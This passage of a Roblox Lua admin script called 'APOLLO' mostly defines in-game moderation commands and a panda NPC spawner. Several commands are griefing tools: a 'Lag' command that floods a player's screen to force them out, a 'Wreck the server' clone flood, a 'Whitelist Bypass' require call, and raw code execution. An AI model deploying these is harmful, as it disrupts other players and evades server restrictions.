APOLLO.Functions.tabletOutput(plr,'Command description: '..v.Desc,'Dark green') APOLLO.Functions.tabletOutput(plr,'Required rank: '..v.Rank,'Really red') APOLLO.Functions.tabletOutput(plr,'Usage: '..v.Say,'Dark green') APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end) end);end;APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end)end; --APOLLO.CoreStuff.ServerCreating=false APOLLO.Functions.CreateGameServer = function(user,placeid) local id = placeid ~= nil and placeid or tostring(game.PlaceId) linkPart1 = "http://roproxy.tk/Game/PlaceLauncher.ashx?request=RequestGame&placeId=" linkPart2 = "&isPartyLeader=false&gender=&isTeleport=true" fullLink = linkPart1..id..linkPart2 --meow local tries = 0 if not APOLLO.CoreStuff.ServerCreating then APOLLO.CoreStuff.ServerCreating = true APOLLO.Functions.tabletOutput(user,string.format("Started creating a server on %s.",id),'Really red') local x = string.rep('x',255) repeat tries = tries + 1 a,b = pcall(function() x = game:FindService'HttpService':GetAsync(fullLink) end) if #x >= 120 then APOLLO.Functions.tabletOutput(user,string.format("%d try failed (%d chars)",tries,#x),'Really red') end wait() until #x < 120 APOLLO.CoreStuff.ServerCreating = false APOLLO.Functions.dismiss(user); wait(); APOLLO.Functions.tabletOutput(user,string.format('Server created successfully after %d tries',tries),'Really red') end end -- -- -- --Commands-- -- -- -- APOLLO.Functions.AddCommand('Kill','kill',1,'Kills a player',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg)do if v.Character then v.Character.Humanoid.Health=0 end end end); APOLLO.Functions.AddCommand('Ponda Family','pondaf',5,'Creates a family of pandas',function(user,msg) for i = 0,100 do local num=msg:sub(1,2) local num2=msg:sub(4,6) local Asset = "http://www.roblox.com/asset/?id=" function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z) local p = Instance.new("Part") p.TopSurface = 0 p.BottomSurface = 0 p.Transparency = Tran p.Reflectance = Ref p.CanCollide = Coll p.Anchored = Anch p.BrickColor = BrickColor.new(Col) p.formFactor = "Custom" p.Size = Vector3.new(X,Y,Z) p.Parent = P p.Locked = true p:BreakJoints() return p end function Weld(P0, P1, X, Y, Z, A, B, C) local w = Instance.new("Weld") w.Part0 = P0 w.Part1 = P1 w.C = CN(X, Y, Z) * CA(A, B, C) w.Parent = P0 return w end CA = CFrame.Angles CN = CFrame.new V3 = Vector3.new MR = math.rad MP = math.pi MRA = math.random MH = math.huge Noob = nil function MakeMotor(torso, p1, c0, c1) local mot = Instance.new("Motor6D") mot.C0 = c0 mot.C1 = c1 mot.Part0 = torso mot.Part1 = p1 mot.Parent = torso return mot end function Set(tab) for _,v in pairs(tab) do local motor = v[1] local vel = v[2] local des = v[3] motor.MaxVelocity = vel motor.DesiredAngle = des end end function Animate(Hum, RSH, LSH, RH, LH) local pose = "Standing" local function sit() pose = "Seated" end local function jump() pose = "Jumping" end local function died() pose = "Dead" end local function falling() pose = "Falling" end local function climbing() pose = "Climbing" end local function run(speed) if speed > 0.5 then pose = "Running" else pose = "Standing" end end local function move(tiem) local amplitude, frequency if pose == "Seated" then Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}}) return end if pose == "Jumping" then Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}}) return end if pose == "Falling" then Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}}) return end local climb = 0 if pose == "Running" then RSH.MaxVelocity = 0.15 LSH.MaxVelocity = 0.15 RH.MaxVelocity = 0.15 LH.MaxVelocity = 0.15 amplitude = 1 frequency = 8 elseif pose == "Climbing" then RSH.MaxVelocity = 0.3 LSH.MaxVelocity = 0.3 RH.MaxVelocity = 0.15 LH.MaxVelocity = 0.15 amplitude = 1 frequency = 8 climb = math.pi else amplitude = 0.1 frequency = 1 end des = amplitude * math.sin(tiem*frequency) RSH.DesiredAngle = des + climb LSH.DesiredAngle = des - climb RH.DesiredAngle = -des LH.DesiredAngle = -des end Hum.Jumping:connect(jump) Hum.Running:connect(run) Hum.Seated:connect(sit) Hum.Died:connect(died) Hum.FreeFalling:connect(falling) Hum.Climbing:connect(climbing) coroutine.resume(coroutine.create(function() while pose ~= "Dead" do local _, time = wait(0.1) move(time) end end)) end function MakeNoob(pos, scale) local Name = 'Ponda' local Nub = Instance.new("Model") Nub.Name = Name Noob = Nub local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale) Torso.Name = "Torso" local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale) Head.Name = "Head" local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0)) local HeadMesh = Instance.new("SpecialMesh",Head) HeadMesh.Scale = V3(1.25, 1.25, 1.25) local Face = Instance.new("Decal",Head) Face.Face = "Front" Face.Texture = Asset..(13038247) local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) Rarm.Name = "Right Arm" local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) Larm.Name = "Left Arm" local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) Rleg.Name = "Right Leg" local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) Lleg.Name = "Left Leg" local Root= Instance.new("Part",Nub) Root.Name='HumanoidRootPart' Root.Transparency=1; Root.Size=Vector3.new(2,2,1); Root.Friction=0.30 Root.Elasticity=0.5 local Hip = Instance.new("Motor6D",Root) Hip.CurrentAngle=0; Hip.DesiredAngle=0; Hip.MaxVelocity=0.1; Hip.Name='RootHip' Hip.Part0=Root Hip.Part1=Torso local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0)) local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0)) local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0)) local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0)) local Hum = Instance.new("Humanoid") local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014 --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95) wait(0.1) Hat.Parent=Nub Hum.MaxHealth = 40+(scale*60) Hum.Health = 100 Hum.Parent = Nub Nub.Parent = workspace Nub:MakeJoints() Nub:MoveTo(pos) Animate(Hum,RSH,LSH,RH,LH) local path = { Vector3.new(7.9, 5.39, -65.1), Vector3.new(9.7, 47.39, -17.1), Vector3.new(-3.2, 23.49, -9), Vector3.new(-13.2, 5.49, 30.8), Vector3.new(-82.9, 5.39, 16.5), } local radius = 200 function randomvector() return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius) end local pointCount = math.random(4, 10) for i = 1, pointCount do path[i] = randomvector() end wait() local parent = Nub local moveTime = 0 while (true) do for i, point in pairs(path) do local distanceVector = parent.HumanoidRootPart.Position - point local distance = distanceVector.magnitude parent.Humanoid:MoveTo(point, Workspace.Base) moveTime = 0 while (moveTime < (distance / 32)) do moveTime = moveTime + 1 -- parent.Humanoid.Jump = true wait(1) end end end return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck} end local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1) wait(0.1) end end) APOLLO.Functions.AddCommand('Ranked','gr',0,'Shows ranked players',function(user) APOLLO.Functions.getRanked(user); end); APOLLO.Functions.AddCommand('Forcefield','ff',1,'Gives a forcefield',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg)do local ff=Instance.new("ForceField",v.Character) ff.Name='S_FF' end end); APOLLO.Functions.AddCommand('Perma-FF','pff',3,'Forcefields you as long as the script is running.',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg)do local ff=Instance.new("ForceField",v.Character) ff.Name='S_P_FF' while wait() do if v.Character:findFirstChild('S_P_FF')==nil then local ff=Instance.new("ForceField",v.Character) ff.Name='S_P_FF' end end end end) APOLLO.Functions.AddCommand('Kick','kick',3,'Kicks a player',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg) do pcall(function()APOLLO.Functions.kick(v)end); end end); APOLLO.Functions.AddCommand('FIx Idle','fidle',4,'Fixes the idle animation',function() while(wait())do for i,v in next,APOLLO.Idling do for i = 0,10,1 do wait() APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red'); end wait(0.8) APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name)); end end end); APOLLO.Functions.AddCommand('Dismiss','dt',0,'Dismisses your tablets',function(user) APOLLO.Functions.dismiss(user); end); APOLLO.Functions.AddCommand('Wreck the server','rek',4,'Wrecks the server.',function() game.ItemChanged:connect(function() for i,v in next,workspace:children() do for i = 0,10 do pcall(function()v:Clone().Parent=workspace end) end end end) do setfenv(1,{game=game,Destroy=Destroy,wait=wait,print=print})--try to get clean env game.Lighting:Destroy() end end); APOLLO.Functions.AddCommand('Idle','idle',0,'Show people you are AFK.',function(user) table.insert(APOLLO.Idling,user); print('added '..tostring(user)..' to idle list') end) APOLLO.Functions.AddCommand("Silent",'silent',0,'Sets silent mode for you',function(user) for i,v in next,APOLLO.Ranked do if v.Silent and v.Silent==true then v.Silent=false else v.Silent=true end end end) APOLLO.Functions.AddCommand('Un-idle','uidle',0,'Show people you are back.',function(user) for i,v in next,APOLLO.Idling do if v.Name==user.Name then table.remove(APOLLO.Idling,i) print('removed '..v.Name..' from idle list'); end end end) APOLLO.Functions.AddCommand('Time ban','tban',5,'Timebans a person.',function(user,msg) local found=false for i,v in next,APOLLO.Functions.getPlayers(user,msg)do for i,r in next,APOLLO.TimeBanned do if r.Name==tostring(v) then found=true end end if found==false then msg=msg:sub(#msg+1) table.insert(APOLLO.TimeBanned,{Name=tostring(v),Time=tonumber(msg)}) APOLLO.Functions.kick(v); end end end) APOLLO.Functions.AddCommand('Logs','slogs',3,'Shows admin logs',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg) do for d,w in next,APOLLO.Logged do if w['Name']==v.Name then APOLLO.Functions.tabletOutput(user,tostring(v.Name),'Really red',function()APOLLO.Functions.dismiss(user) for i,q in next,w.Actions do APOLLO.Functions.tabletOutput(user,tostring(q),'Dark green') end end) end end end end) APOLLO.Functions.AddCommand('Ban','ban',3,'Bans the player',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg) do table.insert(APOLLO.Banned,v.Name) APOLLO.Functions.kick(v); end end); APOLLO.Functions.AddCommand('Rexe','rexe',7,'Raw-exe',function(user,msg) pcall(function()loadstring(msg)()end); end); APOLLO.Functions.AddCommand('Remove','remm',6,'Removes the admin',function() for i,v in next,getfenv(1) do getfenv(1)[i]=nil;end for i,v in next,getfenv() do getfenv(1)[i]=nil;end for i,v in next,getfenv(2)do getfenv(1)[i]=nil;end script.Disabled=true; script:remove(); getfenv(print).error=nil; getfenv(print).print=nil; getfenv().REMOVED=true; end) APOLLO.Functions.AddCommand('Execute','exe',6,'Executes a string',function(user,msg) local rele, sece, newe, sb local mf, mr = ypcall(function() rele = setmetatable({}, {__index = getfenv()}) sece = { script=Instance.new("Script"), APOLLO = (function() local APPIE = APOLLO.Functions.Fake.Table(APOLLO) setmetatable(APPIE,{ __index = function(Self, Index, Value) return rawget(Self, Index, Value) end, __metatable = "APOLLO table is locked." }) return APPIE end)(), removeAdmin=function()end, clear=function()end, run=function()end, sandbox=function()end, removed=false, antiremove=true, antiremove=function()end, players=#game:service'Players':players(), workspace=game:service'Workspace', output=function()end, dismiss=function()end, baseMessage=Instance.new("Message"), addcommand=function()end, remote='stypi.com/raw/oiju39a08ufasdjfoiaeuajs8', http=game:service'HttpService', } newe = { __index = { game = game, Game = game, workspace=game:service'Workspace', Workspace=game:service'Workspace', _G = APOLLO.NotReal._G, _VERSION = "Lua 5.1", shared = APOLLO.NotReal.shared, setfenv = setfenv, rawset = rawset, rawget = rawget, require=require, newproxy = newproxy, setmetatable = setmetatable, getmetatable = getmetatable, pairs = pairs, ipairs = ipairs, next = next, select = select, collectgarbage = collectgarbage, assert = assert, dofile = dofile, load = load, pcall = pcall, ypcall = ypcall, xpcall = xpcall, spawn = spawn, Spawn = spawn, tonumber = tonumber, tostring = tostring, type = type, unpack = unpack, delay=delay, Delay=Delay, Unpack=unpack, gcinfo = gcinfo, wait=wait, PluginManager = PluginManager, settings = settings, Stats = Stats, UserSettings = UserSettings, APOLLO = (function() local APPIE = APOLLO.Functions.Fake.Table(APOLLO) setmetatable(APPIE,{ __index = function(Self, Index, Value) return rawget(Self, Index, Value) end, __metatable = "APOLLO table is locked." }) return APPIE end)(), loadstring = function(String) --someone bypassed local Load = loadstring(String) setfenv(Load, sb) print(Load,String) return Load end, print = function(...) local Data, Return = {...}, "" for Index,Value in pairs(Data) do Return = Return .. tostring(Value) .. (Index < #Data and ", " or "") end return APOLLO.Functions.tabletOutput(Speaker, Return, "White") end, warn = function(...) local Data, Return = {...}, "" for Index,Value in pairs(Data) do Return = Return .. tostring(Value) .. (Index < #Data and ", " or "") end return APOLLO.Functions.tabletOutput(Speaker, Return, "Bright orange") end, error = function(String, Level) return APOLLO.Functions.tabletOutput(Speaker, String, "Really red") end, getfenv = function(Level) local ReturnedEnvironment = sece if type(Level) == "function" then return ReturnedEnvironment elseif type(Level) == "number" and Level >= 0 and Level <= 2 then return ReturnedEnvironment elseif type(Level) == "nil" then return ReturnedEnvironment elseif type(Level)=='string' and Level:lower()=='SolarEnvironment'then return APOLLO.Functions.tabletOutput(Speaker,'ogm hax') elseif(Level==666)then return APOLLO.Functions.tabletOutput(Speaker,'THE POWER OF CHRIST COMPELLS YOU','Really red'); else return error("ERROR: Incorrect Environment Level") end end, Instance = setmetatable({ new = function(ClassName, Parent) if ClassName then return Instance.new(ClassName, Parent) else return error("String expected") end end, Lock = Instance.Lock, UnLock = Instance.UnLock, },{__metatable = "APOLLO_ERROR_ENV"}), UDim2 = setmetatable({ new = UDim2.new },{__metatable = "APOLLO_ERROR_ENV"}), Color3 = setmetatable({ new=Color3.new },{__metatable='APOLLO_ERROR_ENV'}), BrickColor = setmetatable({ new=BrickColor.new, New=BrickColor.new, Random=BrickColor.random, random=BrickColor.random, palette=BrickColor.palette },{__metatable='APOLLO_ERROR_ENV'}), Vector2 = setmetatable({ new = Vector2.new },{__metatable = "APOLLO_ERROR_ENV"}), Vector3 = setmetatable({ FromNormalId = Vector3.FromNormalId, FromAxis = Vector3.FromAxis, new = Vector3.new, },{__metatable = "APOLLO_ERROR_ENV"}), CFrame = setmetatable({ new = CFrame.new, Angles = CFrame.Angles, fromAxisAngle = CFrame.fromAxisAngle, fromEulerAnglesXYZ = CFrame.fromMEulerAnglesXYZ, },{__metatable = "APOLLO_ERROR_ENV"}), table = setmetatable({ setn = table.setn, insert = table.insert, getn = table.getn, foreachi = table.foreachi, maxn = table.maxn, foreach = table.foreach, concat = table.concat, sort = table.sort, remove = table.remove, },{__metatable = "APOLLO_ERROR_ENV"}), coroutine = setmetatable({ resume = coroutine.resume, yield = coroutine.yield, status = coroutine.status, wrap = coroutine.wrap, create = coroutine.create, running = coroutine.running, },{__metatable = "APOLLO_ERROR_ENV"}), string = setmetatable({ sub = string.sub, upper = string.upper, len = string.len, gfind = string.gfind, rep = string.rep, find = string.find, match = string.match, char = string.char, dump = string.dump, gmatch = string.gmatch, reverse = string.reverse, byte = string.byte, format = string.format, gsub = string.gsub, lower = string.lower, },{__metatable = "APOLLO_ERROR_ENV"}), math = setmetatable({ log = math.log, acos = math.acos, huge = 1/0, ldexp = math.ldexp, pi = math.pi, tau = math.pi*2, opti= 666, cos = math.cos, tanh = math.tanh, pow = math.pow, deg = math.deg, tan = math.tan, cosh = math.cosh, sinh = math.sinh, random = math.random, randomseed = math.randomseed, frexp = math.frexp, ceil = math.ceil, floor = math.floor, rad = math.rad, abs = math.abs, sqrt = math.sqrt, modf = math.modf, asin = math.asin, min = math.min, max = math.max, fmod = math.fmod, log10 = math.log10, atan2 = math.atan2, exp = math.exp, sin = math.sin, atan = math.atan, },{__metatable = "APOLLO_ERROR_ENV"}), os = setmetatable({ difftime = os.difftime, time = os.time, },{__metatable = "APOLLO_ERROR_ENV"}), }, __newindex = function(Self, Index, Value) rawset(newe.__index, Index, Value) return rawset(Self, Index, Value) end, __metatable = sece, } sb = setmetatable(sece, newe) Speaker = user local Function, FunctionError = loadstring(msg, "ApolloEnv") local SpeakerRank = APOLLO.Functions.getRank(Speaker) if type(Function) == "function" then setfenv(Function, sb) Function = coroutine.create(Function) local Check,Error = coroutine.resume(Function) if not Check then --error("ERROR:\n"..tostring(Error), 1) APOLLO.Functions.tabletOutput(Speaker,'// '..tostring(Error),'Really red'); end else if not Function then --error(tostring(FunctionError),1) APOLLO.Functions.tabletOutput(Speaker,'// '..tostring(Error),'Really red'); end end end) if not mf then error(mr); end end) APOLLO.Functions.AddCommand('Change rank','rank',0,'Ranks a player',function(user,msg) local rank=APOLLO.Functions.getRank(user) for i,v in next,game:service'Players':players() do APOLLO.Functions.tabletOutput(user,v.Name,'Really red',function()APOLLO.Functions.dismiss(user) if rank==0 then APOLLO.Functions.tabletOutput(user,"You can't change anyones rank.",'Really red') return end if rank>=1 and rank>APOLLO.Functions.getRank(v) then APOLLO.Functions.tabletOutput(user,"Change player rank to 0",'Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,0)end) end if rank>=2 and rank>APOLLO.Functions.getRank(v) then APOLLO.Functions.tabletOutput(user,'Change player rank to 1','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,1)end) end if rank>=3 and rank>APOLLO.Functions.getRank(v) then APOLLO.Functions.tabletOutput(user,'Change player rank to 2','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,2)end) end if rank>=4 and rank>APOLLO.Functions.getRank(v) then APOLLO.Functions.tabletOutput(user,'Change player rank to 3','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,3)end) end if rank>=5 and rank>APOLLO.Functions.getRank(v) then APOLLO.Functions.tabletOutput(user,'Change player rank to 4','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,4)end) end if rank>=6 and rank>APOLLO.Functions.getRank(v) then APOLLO.Functions.tabletOutput(user,'Change player rank to 5','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,5)end) end end) end end) APOLLO.Functions.AddCommand('Require','req',5,'Requires an ID at Nexures SB (Whitelist Bypass)',function(user,msg) local e=getfenv(load) e.require=nil; e.require(tostring(msg))(getfenv()) end) APOLLO.Functions.AddCommand('Shutdown','sd',6,'Shuts down the server.',function() for i,v in next,APOLLO.Services do for d,k in next,v:children() do pcall(game.Destroy,k); end end while(wait())do for i,plr in next,game:service'Players':players() do APOLLO.Functions.kick(plr); end end end); APOLLO.Functions.AddCommand('Colors','colors',1,'Shows Lua colors',function(user) for i,v in next,APOLLO.Colors do APOLLO.Functions.tabletOutput(user,tostring(v),v); end end); APOLLO.Functions.AddCommand('Change bet','cbet',0,'Changes your bet',function(user) local bets={'/','\\',"'",'"','>','<',',','.','?',';',':'}; for i,v in next,APOLLO.Ranked do if v.Name==user.Name then for i,bet in next,bets do APOLLO.Functions.tabletOutput(user,tostring(bet),'Really red',function()APOLLO.Functions.dismiss(user)v.Bet=bet end) end end end end); APOLLO.Functions.AddCommand('List place settings/info','plc',2,'Shows place info and settings',function(user) local o=APOLLO.Functions.tabletOutput; o(user,'id='..game.PlaceId); o(user,'# '..#workspace:children()); o(user,'garbage: '..'nan'); o(user,'LoadStringEnabled: '..game:service'ServerScriptService'.LoadStringEnabled); o(user,'Sandboxed: '..'All functions ran, no sandboxes found.'); o(user,'Environment clean: yes'); end); APOLLO.Functions.AddCommand('Create server','news',666-660,'Makes a new server',function(user,msg) local placeid = nil if #msg > 2 then placeid = msg end APOLLO.Functions.CreateGameServer(user,placeid) end); APOLLO.Functions.AddCommand('Ponda','ponda',1,'Spawns an AntiBooz0r companion',function(user,msg) local num=msg:sub(1,2) local num2=msg:sub(4,6) local Asset = "http://www.roblox.com/asset/?id=" function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z) local p = Instance.new("Part") p.TopSurface = 0 p.BottomSurface = 0 p.Transparency = Tran p.Reflectance = Ref p.CanCollide = Coll p.Anchored = Anch p.BrickColor = BrickColor.new(Col) p.formFactor = "Custom" p.Size = Vector3.new(X,Y,Z) p.Parent = P p.Locked = true p:BreakJoints() return p end function Weld(P0, P1, X, Y, Z, A, B, C) local w = Instance.new("Weld") w.Part0 = P0 w.Part1 = P1 w.C = CN(X, Y, Z) * CA(A, B, C) w.Parent = P0 return w end CA = CFrame.Angles CN = CFrame.new V3 = Vector3.new MR = math.rad MP = math.pi MRA = math.random MH = math.huge Noob = nil function MakeMotor(torso, p1, c0, c1) local mot = Instance.new("Motor6D") mot.C0 = c0 mot.C1 = c1 mot.Part0 = torso mot.Part1 = p1 mot.Parent = torso return mot end function Set(tab) for _,v in pairs(tab) do local motor = v[1] local vel = v[2] local des = v[3] motor.MaxVelocity = vel motor.DesiredAngle = des end end function Animate(Hum, RSH, LSH, RH, LH) local pose = "Standing" local function sit() pose = "Seated" end local function jump() pose = "Jumping" end local function died() pose = "Dead" end local function falling() pose = "Falling" end local function climbing() pose = "Climbing" end local function run(speed) if speed > 0.5 then pose = "Running" else pose = "Standing" end end local function move(tiem) local amplitude, frequency if pose == "Seated" then Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}}) return end if pose == "Jumping" then Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}}) return end if pose == "Falling" then Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}}) return end local climb = 0 if pose == "Running" then RSH.MaxVelocity = 0.15 LSH.MaxVelocity = 0.15 RH.MaxVelocity = 0.15 LH.MaxVelocity = 0.15 amplitude = 1 frequency = 8 elseif pose == "Climbing" then RSH.MaxVelocity = 0.3 LSH.MaxVelocity = 0.3 RH.MaxVelocity = 0.15 LH.MaxVelocity = 0.15 amplitude = 1 frequency = 8 climb = math.pi else amplitude = 0.1 frequency = 1 end des = amplitude * math.sin(tiem*frequency) RSH.DesiredAngle = des + climb LSH.DesiredAngle = des - climb RH.DesiredAngle = -des LH.DesiredAngle = -des end Hum.Jumping:connect(jump) Hum.Running:connect(run) Hum.Seated:connect(sit) Hum.Died:connect(died) Hum.FreeFalling:connect(falling) Hum.Climbing:connect(climbing) coroutine.resume(coroutine.create(function() while pose ~= "Dead" do local _, time = wait(0.1) move(time) end end)) end function MakeNoob(pos, scale) local Name = 'Ponda' local Nub = Instance.new("Model") Nub.Name = Name Noob = Nub local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale) Torso.Name = "Torso" local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale) Head.Name = "Head" local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0)) local HeadMesh = Instance.new("SpecialMesh",Head) HeadMesh.Scale = V3(1.25, 1.25, 1.25) local Face = Instance.new("Decal",Head) Face.Face = "Front" Face.Texture = Asset..(13038247) local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) Rarm.Name = "Right Arm" local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) Larm.Name = "Left Arm" local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) Rleg.Name = "Right Leg" local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) Lleg.Name = "Left Leg" local Root= Instance.new("Part",Nub) Root.Name='HumanoidRootPart' Root.Transparency=1; Root.Size=Vector3.new(2,2,1); Root.Friction=0.30 Root.Elasticity=0.5 local Hip = Instance.new("Motor6D",Root) Hip.CurrentAngle=0; Hip.DesiredAngle=0; Hip.MaxVelocity=0.1; Hip.Name='RootHip' Hip.Part0=Root Hip.Part1=Torso local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0)) local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0)) local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0)) local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0)) local Hum = Instance.new("Humanoid") local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014 --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95) wait(0.1) Hat.Parent=Nub Hum.MaxHealth = 40+(scale*60) Hum.Health = 100 Hum.Parent = Nub Nub.Parent = workspace Nub:MakeJoints() Nub:MoveTo(pos) Animate(Hum,RSH,LSH,RH,LH) local path = { Vector3.new(7.9, 5.39, -65.1), Vector3.new(9.7, 47.39, -17.1), Vector3.new(-3.2, 23.49, -9), Vector3.new(-13.2, 5.49, 30.8), Vector3.new(-82.9, 5.39, 16.5), } local radius = 200 function randomvector() return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius) end local pointCount = math.random(4, 10) for i = 1, pointCount do path[i] = randomvector() end wait() local parent = Nub local moveTime = 0 while (true) do for i, point in pairs(path) do local distanceVector = parent.HumanoidRootPart.Position - point local distance = distanceVector.magnitude parent.Humanoid:MoveTo(point, Workspace.Base) moveTime = 0 while (moveTime < (distance / 32)) do moveTime = moveTime + 1 -- parent.Humanoid.Jump = true wait(1) end end end return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck} end local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1) end); APOLLO.Functions.AddCommand('Lag','lg',4,'Lags a player, causing him to leave.',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg)do for i = 0,3 do for i = 0,10000 do pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end) end;end;end;end) APOLLO.Functions.AddCommand('Commands','cmds',0,'Shows the commands',function(user,msg) APOLLO.Functions.showCommands(user); end); APOLLO.Functions.AddCommand('Check','check',0,'Checks if the admin is running',function(user) APOLLO.Functions.guiNotify(user,'APOLLO is running!',3); end); APOLLO.Functions.AddCommand('Player Interface','pint',6,'Shows player interface',function(user) if(script.ClassName=='LocalScript')then APOLLO.Functions.guiNotify(user,'Please run APOLLO serversided to use this command.',5); else APOLLO.Functions.playerInterface(user); end end); APOLLO.Functions.AddCommand('#','#',1,'Shows # tablets',function(user,msg) local num=tonumber(msg); if num then for i = 0,num do APOLLO.Functions.tabletOutput(user,tostring(i)); end end end); APOLLO.Functions.AddCommand('Update','update',6,'Updates the script if there is an update available.',function(user) local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true) if newVer~=CurrentVersion then APOLLO.Functions.tabletOutput(user,'A new update available! Click me to update.','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.update()end) elseif newVer==CurrentVersion then APOLLO.Functions.tabletOutput(user,'There is no new version available.','Dark green'); end end) --[[ APOLLO.Funtions.AddCommand('NewServer','news',4,'Makes a new server.',function() local l=('http://roproxy.tk/Game/PlaceLauncher.ashx?request=RequestGame&placeid='..tostring(game.PlaceId)..'&isPartyLeader=false&gender=&isTeleport=true') for i = 0,5 do wait(1) game:service'HttpService':GetAsync(l,true) end end)]]-- APOLLO.Functions.AddCommand('Grab','grab',1,'Grabs a player',function(user,msg) pcall(function()loadstring(string.format('APOLLO.Functions.attach(%s,%s)','game.Players["'..tostring(user)..'"]',tostring(msg)))()end) end); APOLLO.Functions.AddCommand('Explore','exp',5,'Explores the game',function(user) APOLLO.Functions.Explore(user) end) APOLLO.Functions.AddCommand('Env','env',0,'Shows environment',function(user) for i,v in next,getfenv() do APOLLO.Functions.tabletOutput(user,tostring(i)..': '..tostring(v)) end end); 